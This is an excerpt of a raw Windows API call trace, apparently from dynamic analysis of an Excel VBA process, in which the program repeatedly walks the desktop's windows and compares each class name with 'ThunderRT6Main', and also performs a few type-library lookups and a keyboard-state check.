(in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0112.904] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0112.904] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0112.904] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0112.904] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0112.904] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0112.905] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0112.905] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0112.905] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.905] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0112.905] GetClassNameA (in: hWnd=0x10084, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0112.905] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0112.905] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0112.905] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0112.905] GetClassNameA (in: hWnd=0x10082, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0112.905] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0112.905] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.905] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0112.905] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0112.905] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0112.905] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0112.905] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0112.905] GetClassNameA (in: hWnd=0x10080, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.905] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.905] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0112.905] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0112.905] GetClassNameA (in: hWnd=0x10076, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.906] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.906] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.906] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0112.906] GetClassNameA (in: hWnd=0x10064, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0112.906] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0112.906] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.906] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0112.906] GetClassNameA (in: hWnd=0x10110, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0112.906] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0112.906] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0112.906] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0112.906] GetClassNameA (in: hWnd=0x10112, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.906] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.906] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0112.906] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0112.906] GetClassNameA (in: hWnd=0x10060, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0112.906] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0112.906] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.906] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c [0112.906] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0112.906] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0112.906] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0112.906] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042 [0112.906] GetClassNameA (in: hWnd=0x10042, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0112.906] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0112.906] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0112.906] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0112.906] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0112.906] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0112.906] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0112.906] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048 [0112.907] GetClassNameA (in: hWnd=0x10048, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0112.907] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0112.907] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124 [0112.907] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040 [0112.907] GetClassNameA (in: hWnd=0x10040, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.907] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.907] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0112.907] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe [0112.907] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0112.907] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0112.907] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0112.907] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c [0112.907] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.907] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.907] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0112.907] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a [0112.907] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0112.907] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0112.907] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0112.907] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec [0112.907] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0112.907] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0112.907] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0112.907] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0112.907] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb683b60 [0112.907] IMalloc:Free (This=0x7feffc15380, pv=0xb683b60) [0112.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0112.929] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb67f240 [0112.929] strncpy_s (in: _Dst=0xb67f240, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0112.929] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0112.929] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0112.929] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0112.929] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0112.930] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0112.930] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0112.930] IUnknown:Release (This=0xb1d1380) returned 0xb [0112.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb67f240, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0112.930] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0112.930] IUnknown:Release (This=0xb1d1380) returned 0xa [0112.930] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0112.930] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0112.931] IUnknown:Release (This=0xb1d0570) returned 0x12 [0112.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb67f240, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0112.931] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0112.931] IUnknown:Release (This=0xb1d0570) returned 0x11 [0112.931] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0112.931] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0112.931] IUnknown:Release (This=0xb1d1920) returned 0x6 [0112.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb67f240, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0112.931] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0112.931] IUnknown:Release (This=0xb1d1920) returned 0x5 [0112.931] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0112.931] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0112.931] IUnknown:Release (This=0x6fed890) returned 0x4 [0112.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb67f240, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0112.931] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0112.931] IUnknown:Release (This=0x6fed890) returned 0x3 [0112.932] IMalloc:Free (This=0x7feffc15380, pv=0xb67f240) [0115.859] GetAsyncKeyState (vKey=27) returned 0 [0115.859] GetCurrentThreadId () returned 0x92c [0115.859] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0115.859] GetDesktopWindow () returned 0x10010 [0115.859] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140 [0115.859] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0115.859] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0115.859] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0115.859] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0115.859] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.859] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.859] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0115.859] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0115.859] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0115.859] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0115.859] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0115.859] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0115.860] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.860] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.860] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.860] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0115.860] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.860] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.860] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.860] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0115.860] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.860] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.860] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.860] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0115.860] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.860] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.860] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.860] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070 [0115.860] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.860] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.860] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.860] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c [0115.860] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.860] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.860] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.860] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0115.860] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.860] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.860] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.860] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0115.860] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.860] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.860] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.860] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0115.860] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.860] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.860] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.860] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0115.860] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.861] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.861] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.861] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0115.861] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0115.861] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0115.861] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.861] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0115.861] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.861] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.861] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.861] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0115.861] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Button") returned 6 [0115.861] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0115.861] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.861] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0115.861] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0115.861] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0115.861] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.861] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0115.861] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.861] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.861] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0115.861] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0115.861] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.861] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.861] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.861] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0115.861] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0115.861] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0115.861] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.861] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0115.861] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0115.861] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0115.861] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.861] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226 [0115.861] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0115.861] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0115.861] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.861] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056 [0115.862] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0115.862] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0115.862] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a6 [0115.862] GetClassNameA (in: hWnd=0x201a6, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.862] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.862] GetWindowThreadProcessId (in: hWnd=0x201a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.862] GetWindowLongA (hWnd=0x201a6, nIndex=-16) returned -1946157056 [0115.862] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0115.862] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0115.862] GetWindow (hWnd=0x201a6, uCmd=0x2) returned 0x202d2 [0115.862] GetClassNameA (in: hWnd=0x202d2, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0115.862] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0115.862] GetWindowThreadProcessId (in: hWnd=0x202d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.862] GetWindowLongA (hWnd=0x202d2, nIndex=-16) returned 382664704 [0115.862] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0115.862] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0115.862] GetWindow (hWnd=0x202d2, uCmd=0x2) returned 0x30232 [0115.862] GetClassNameA (in: hWnd=0x30232, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.862] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.862] GetWindowThreadProcessId (in: hWnd=0x30232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.862] GetWindowLongA (hWnd=0x30232, nIndex=-16) returned -1778384896 [0115.862] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0115.862] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0115.862] GetWindow (hWnd=0x30232, uCmd=0x2) returned 0x40234 [0115.862] GetClassNameA (in: hWnd=0x40234, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.862] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.862] GetWindowThreadProcessId (in: hWnd=0x40234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.862] GetWindowLongA (hWnd=0x40234, nIndex=-16) returned -1778384896 [0115.862] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0115.862] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0115.862] GetWindow (hWnd=0x40234, uCmd=0x2) returned 0x2027a [0115.862] GetClassNameA (in: hWnd=0x2027a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.862] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.862] GetWindowThreadProcessId (in: hWnd=0x2027a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.862] GetWindowLongA (hWnd=0x2027a, nIndex=-16) returned -1778384896 [0115.862] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0115.862] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0115.862] GetWindow (hWnd=0x2027a, uCmd=0x2) returned 0x20278 [0115.862] GetClassNameA (in: hWnd=0x20278, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.862] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.862] GetWindowThreadProcessId (in: hWnd=0x20278, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0115.862] GetWindowLongA (hWnd=0x20278, nIndex=-16) returned -1778384896 [0115.862] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0115.862] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0115.862] GetWindow (hWnd=0x20278, uCmd=0x2) returned 0x20296 [0115.862] GetClassNameA (in: hWnd=0x20296, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0115.862] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0115.862] 